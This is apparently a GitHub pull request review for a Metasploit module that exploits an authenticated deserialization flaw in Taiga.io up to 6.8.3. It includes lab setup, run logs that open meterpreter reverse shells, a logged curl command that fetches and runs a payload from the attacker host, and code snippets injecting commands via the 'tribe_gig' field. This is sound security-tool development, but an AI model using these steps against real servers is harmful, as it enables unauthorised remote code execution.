Skip to content

Conversation

@whotwagner
Copy link
Contributor

This module exploits an authenticated unserialize vulnerability in Taiga.io that allows to execute
commands remotely. This vulnerability affects Taiga.io <= 6.8.3 and is fixed in 6.9.0.

Docker Installation

This exploit was tested using a taiga.io docker container and docker-compose.
First the taiga.io docker container was downloaded: git clone https://github.com/taigaio/taiga-docker.git.
Next the tag 6.8.3 was added to the taiga-back image in docker-compose.yml:

version: "3.5"

x-environment:
  &default-back-environment
  # These environment variables will be used by taiga-back and taiga-async.
  # Database settings
  POSTGRES_DB: "taiga"
  POSTGRES_USER: "${POSTGRES_USER}"
  POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}"
  POSTGRES_HOST: "taiga-db"
  # Taiga settings
  TAIGA_SECRET_KEY: "${SECRET_KEY}"
  TAIGA_SITES_SCHEME: "${TAIGA_SCHEME}"
  TAIGA_SITES_DOMAIN: "${TAIGA_DOMAIN}"
  TAIGA_SUBPATH: "${SUBPATH}"
  # Email settings.
  EMAIL_BACKEND: "django.core.mail.backends.${EMAIL_BACKEND}.EmailBackend"
  DEFAULT_FROM_EMAIL: "${EMAIL_DEFAULT_FROM}"
  EMAIL_USE_TLS: "${EMAIL_USE_TLS}"
  EMAIL_USE_SSL: "${EMAIL_USE_SSL}"
  EMAIL_HOST: "${EMAIL_HOST}"
  EMAIL_PORT: "${EMAIL_PORT}"
  EMAIL_HOST_USER: "${EMAIL_HOST_USER}"
  EMAIL_HOST_PASSWORD: "${EMAIL_HOST_PASSWORD}"
  # Rabbitmq settings
  RABBITMQ_USER: "${RABBITMQ_USER}"
  RABBITMQ_PASS: "${RABBITMQ_PASS}"
  # Telemetry settings
  ENABLE_TELEMETRY: "${ENABLE_TELEMETRY}"
  # ...your customizations go here

x-volumes:
  &default-back-volumes
  # These volumens will be used by taiga-back and taiga-async.
  - taiga-static-data:/taiga-back/static
  - taiga-media-data:/taiga-back/media
  # - ./config.py:/taiga-back/settings/config.py

services:
  taiga-db:
    image: postgres:12.3
    environment:
      POSTGRES_DB: "taiga"
      POSTGRES_USER: "${POSTGRES_USER}"
      POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}"
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER}"]
      interval: 2s
      timeout: 15s
      retries: 5
      start_period: 3s
    volumes:
      - taiga-db-data:/var/lib/postgresql/data
    networks:
      - taiga

  taiga-back:
    image: taigaio/taiga-back:6.8.3
    environment: *default-back-environment
    volumes: *default-back-volumes
    networks:
      - taiga
    depends_on:
      taiga-db:
        condition: service_healthy
      taiga-events-rabbitmq:
        condition: service_started
      taiga-async-rabbitmq:
        condition: service_started

  taiga-async:
    image: taigaio/taiga-back:6.8.3
    entrypoint: ["/taiga-back/docker/async_entrypoint.sh"]
    environment: *default-back-environment
    volumes: *default-back-volumes
    networks:
      - taiga
    depends_on:
      taiga-db:
        condition: service_healthy
      taiga-events-rabbitmq:
        condition: service_started
      taiga-async-rabbitmq:
        condition: service_started

  taiga-async-rabbitmq:
    image: rabbitmq:3.8-management-alpine
    environment:
      RABBITMQ_ERLANG_COOKIE: "${RABBITMQ_ERLANG_COOKIE}"
      RABBITMQ_DEFAULT_USER: "${RABBITMQ_USER}"
      RABBITMQ_DEFAULT_PASS: "${RABBITMQ_PASS}"
      RABBITMQ_DEFAULT_VHOST: "${RABBITMQ_VHOST}"
    hostname: "taiga-async-rabbitmq"
    volumes:
      - taiga-async-rabbitmq-data:/var/lib/rabbitmq
    networks:
      - taiga

  taiga-front:
    image: taigaio/taiga-front:latest
    environment:
      TAIGA_URL: "${TAIGA_SCHEME}://${TAIGA_DOMAIN}"
      TAIGA_WEBSOCKETS_URL: "${WEBSOCKETS_SCHEME}://${TAIGA_DOMAIN}"
      TAIGA_SUBPATH: "${SUBPATH}"
      # ...your customizations go here
    networks:
      - taiga
    # volumes:
    #   - ./conf.json:/usr/share/nginx/html/conf.json

  taiga-events:
    image: taigaio/taiga-events:latest
    environment:
      RABBITMQ_USER: "${RABBITMQ_USER}"
      RABBITMQ_PASS: "${RABBITMQ_PASS}"
      TAIGA_SECRET_KEY: "${SECRET_KEY}"
    networks:
      - taiga
    depends_on:
      taiga-events-rabbitmq:
        condition: service_started

  taiga-events-rabbitmq:
    image: rabbitmq:3.8-management-alpine
    environment:
      RABBITMQ_ERLANG_COOKIE: "${RABBITMQ_ERLANG_COOKIE}"
      RABBITMQ_DEFAULT_USER: "${RABBITMQ_USER}"
      RABBITMQ_DEFAULT_PASS: "${RABBITMQ_PASS}"
      RABBITMQ_DEFAULT_VHOST: "${RABBITMQ_VHOST}"
    hostname: "taiga-events-rabbitmq"
    volumes:
      - taiga-events-rabbitmq-data:/var/lib/rabbitmq
    networks:
      - taiga

  taiga-protected:
    image: taigaio/taiga-protected:latest
    environment:
      MAX_AGE: "${ATTACHMENTS_MAX_AGE}"
      SECRET_KEY: "${SECRET_KEY}"
    networks:
      - taiga

  taiga-gateway:
    image: nginx:1.19-alpine
    ports:
      - "9000:80"
    volumes:
      - ./taiga-gateway/taiga.conf:/etc/nginx/conf.d/default.conf
      - taiga-static-data:/taiga/static
      - taiga-media-data:/taiga/media
    networks:
      - taiga
    depends_on:
      - taiga-front
      - taiga-back
      - taiga-events

volumes:
  taiga-static-data:
  taiga-media-data:
  taiga-db-data:
  taiga-async-rabbitmq-data:
  taiga-events-rabbitmq-data:

networks:
  taiga:

The file .env was also modified so that the variable TAIGA_DOMAIN points to the IP-address to the server:

# Taiga's URLs - Variables to define where Taiga should be served
TAIGA_SCHEME=http  # serve Taiga using "http" or "https" (secured) connection
TAIGA_DOMAIN=192.168.233.117:9000  # Taiga's base URL
SUBPATH="" # it'll be appended to the TAIGA_DOMAIN (use either "" or a "/subpath")
WEBSOCKETS_SCHEME=ws  # events connection protocol (use either "ws" or "wss")

# Taiga's Secret Key - Variable to provide cryptographic signing
SECRET_KEY="taiga-secret-key"  # Please, change it to an unpredictable value!!

# Taiga's Database settings - Variables to create the Taiga database and connect to it
POSTGRES_USER=taiga  # user to connect to PostgreSQL
POSTGRES_PASSWORD=taiga  # database user's password

# Taiga's SMTP settings - Variables to send Taiga's emails to the users
EMAIL_BACKEND=console  # use an SMTP server or display the emails in the console (either "smtp" or "console")
EMAIL_HOST=smtp.host.example.com  # SMTP server address
EMAIL_PORT=587   # default SMTP port
EMAIL_HOST_USER=user  # user to connect the SMTP server
EMAIL_HOST_PASSWORD=password  # SMTP user's password
[email protected]  # default email address for the automated emails
# EMAIL_USE_TLS/EMAIL_USE_SSL are mutually exclusive (only set one of those to True)
EMAIL_USE_TLS=True  # use TLS (secure) connection with the SMTP server
EMAIL_USE_SSL=False  # use implicit TLS (secure) connection with the SMTP server

# Taiga's RabbitMQ settings - Variables to leave messages for the realtime and asynchronous events
RABBITMQ_USER=taiga  # user to connect to RabbitMQ
RABBITMQ_PASS=taiga  # RabbitMQ user's password
RABBITMQ_VHOST=taiga  # RabbitMQ container name
RABBITMQ_ERLANG_COOKIE=secret-erlang-cookie  # unique value shared by any connected instance of RabbitMQ

# Taiga's Attachments - Variable to define how long the attachments will be accesible
ATTACHMENTS_MAX_AGE=360  # token expiration date (in seconds)

# Taiga's Telemetry - Variable to enable or disable the anonymous telemetry
ENABLE_TELEMETRY=False

NOTE: Change the IP-address for TAIGA_DOMAIN for your setup

After starting the container with ./launch-taiga.sh we also have to create an admin account using: ./taiga-manage.sh createsuperuser.

Now open a browser and navigate to: http://192.168.233.117:9000 (use your IP-address), login as admin and create a project(select KANBAN). Provide any project-name and any project-description, select "Public Project" and create the project.

NOTE: This exploit works needs permissions to create user-stories. Therefore it works as a normal project member or as admin.

Verification Steps

  1. Do: use exploit/multi/http/taiga_tribe_gig_unserial
  2. Do: set RHOSTS [ips]
  3. Do: set LHOST [lhost]
  4. Do: set RPORT 9000
  5. Do: set USERNAME admin
  6. Do: set PASSWORD admin
  7. Do: set SSL false
  8. Do: run
  9. You should get a shell after a while

Options

TARGETURI

Remote web path to the taiga installation (default: /)

USERNAME

The any existing username to authenticate to taiga. (Needs permissions on a project to create user-stories)

PASSWORD

The password for the user.

SSL

Use SSL to access the taiga-server (default: true)

Scenarios

In this scenario the taiga-server has the IP address 192.168.233.117. User admin exists with password admin and
a kanban project was already created in taiga and user admin is allowed to create userstories for that project.

Taiga 6.8.3(docker-compose):

The following demo shows how to use the exploit:

msf > use exploit/multi/http/taiga_tribe_gig_unserial
[*] Using configured payload python/meterpreter/reverse_tcp
msf exploit(multi/http/taiga_tribe_gig_unserial) > set RHOSTS 192.168.233.117
RHOSTS => 192.168.233.117
msf exploit(multi/http/taiga_tribe_gig_unserial) > set RPORT 9000
RPORT => 9000
msf exploit(multi/http/taiga_tribe_gig_unserial) > set LHOST 192.168.233.117
LHOST => 192.168.233.117
msf exploit(multi/http/taiga_tribe_gig_unserial) > set USERNAME admin
USERNAME => admin
msf exploit(multi/http/taiga_tribe_gig_unserial) > set PASSWORD admin
PASSWORD => admin
msf exploit(multi/http/taiga_tribe_gig_unserial) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf exploit(multi/http/taiga_tribe_gig_unserial) > run
[*] Started reverse TCP handler on 192.168.233.117:4444
[*] Sending payload..
[*] Sending stage (23408 bytes) to 172.20.0.8
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 172.20.0.8:39148) at 2025-11-08 15:26:54 +0000

meterpreter > getuid
Server username: taiga

@msutovsky-r7 msutovsky-r7 changed the title Exploit taiga tribe gig Adds exploit module for authenticated deserialization vulnerability in Taiga.io (CVE-2025-62368) Nov 17, 2025
@msutovsky-r7
Copy link
Contributor

msf exploit(multi/http/taiga_tribe_gig_unserial) > run verbose=true 
[*] Started reverse TCP handler on 172.20.0.1:4444 
[*] Sending payload..
[*] Sending stage (23408 bytes) to 172.21.0.9
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[-] Meterpreter session 1 is not valid and will be closed
[*] Sending stage (23408 bytes) to 172.21.0.9
[*] 127.0.0.1 - Meterpreter session 1 closed.
[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died
[*] Meterpreter session 2 opened (172.20.0.1:4444 -> 172.21.0.9:50962) at 2025-11-18 08:02:55 +0100

meterpreter > sysinfo
Computer        : 7b73f2c3308d
OS              : Linux 6.17.4-76061704-generic #202510191616~1762410050~22.04~898873a SMP PREEMPT_DYNAMIC Thu N
gArchitecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > getuid
Server username: taiga

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msf exploit(multi/http/taiga_tribe_gig_unserial) > check
[*] Elapsed time: 9.395494782000242 seconds.
[+] 127.0.0.1:9000 - The target is vulnerable. Detected vulnerable Taiga.io
msf exploit(multi/http/taiga_tribe_gig_unserial) > run verbose=true 
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Sending payload..
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted

[*] Sending stage (23404 bytes) to 172.21.0.8
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.21.0.8:51962) at 2025-11-19 22:22:37 +0100

meterpreter > sysinfo
Computer        : cb06bcf1e826
OS              : Linux 6.17.4-76061704-generic #202510191616~1762410050~22.04~898873a SMP PREEMPT_DYNAMIC Thu N
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > getuid
Server username: taiga

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Linux target

msf exploit(multi/http/taiga_tribe_gig_unserial) > run verbose=true 
[*] Command to run on remote host: curl -so ./dcYpUqZvpXE http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./dcYpUqZvpXE;./dcYpUqZvpXE&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Sending payload..
[*] Client 172.21.0.9 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.9 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.9
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[*] Meterpreter session 5 opened (172.17.0.1:4444 -> 172.21.0.9:39812) at 2025-11-20 13:10:04 +0100

meterpreter > sysinfo
Computer     : 172.21.0.9
OS           : Debian 12.10 (Linux 6.17.4-76061704-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: taiga

Python target

msf exploit(multi/http/taiga_tribe_gig_unserial) > run verbose=true 
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Sending payload..
[*] Sending stage (23404 bytes) to 172.21.0.9
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[-] Meterpreter session 1 is not valid and will be closed
[*] Sending stage (23408 bytes) to 172.21.0.9
[*] 127.0.0.1 - Meterpreter session 1 closed.
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.21.0.9:49202) at 2025-11-20 12:27:29 +0100

meterpreter > sysinfo 
Computer        : 16ea22543fa5
OS              : Linux 6.17.4-76061704-generic #202510191616~1762410050~22.04~898873a SMP PREEMPT_DYNAMIC Thu N
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > getuid
Server username: taiga

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think this should be in multi - that category typically means multiple operating system (in this case, it's most for Linux and you can run Python payload there right)?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's written in python and the payload is a python-payload. so i thought that it might be multi. but in the docs for the self-hosted installations of taiga, they always propose to install it via docker

}
],
],
'CmdStagerFlavor' => [ 'bourne', 'curl', 'wget', 'printf', 'echo' ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you mind explain little bit why CmdStagerFlavor is used here? Specifically, why curl and wget, since both are covered in fetch payloads?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

there is not deeper meaning, other than I don't have enough knowledge about that part of the framework. :/

)
end

class TaigaClientException < StandardError; end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you mind moving this to beginning of file, to make it little bit more clear?

get_project
project_status = get_status
rescue TaigaClientException => e
Exploit::CheckCode::Unknown(e)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you mind return different check codes for various situation? In the current state, if for example authenticate fails, the check method returns Unknown, but there might be various reasons why it did and we're missing here for example a case when we should return Detected.

Comment on lines +160 to +169
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer #{@token}" },
'data' => {
_attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false,
tribe_gig: command.to_s
}.to_json
)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This looks like repeated code, would you mind moving it to separate method?

end

def delete_userstory(id)
send_request_cgi(
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can we check here if the deletion was successful by checking response?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i wasn't sure if it's so important. it's just clean_up and I don't want to fail just because the clean up did not work

authenticate(datastore['USERNAME'], datastore['PASSWORD'])
get_project
rescue TaigaClientException => e
fail_with(Failure::UnexpectedReply, e)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also same as in check method, can we expand the various fail_with options for various situations?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants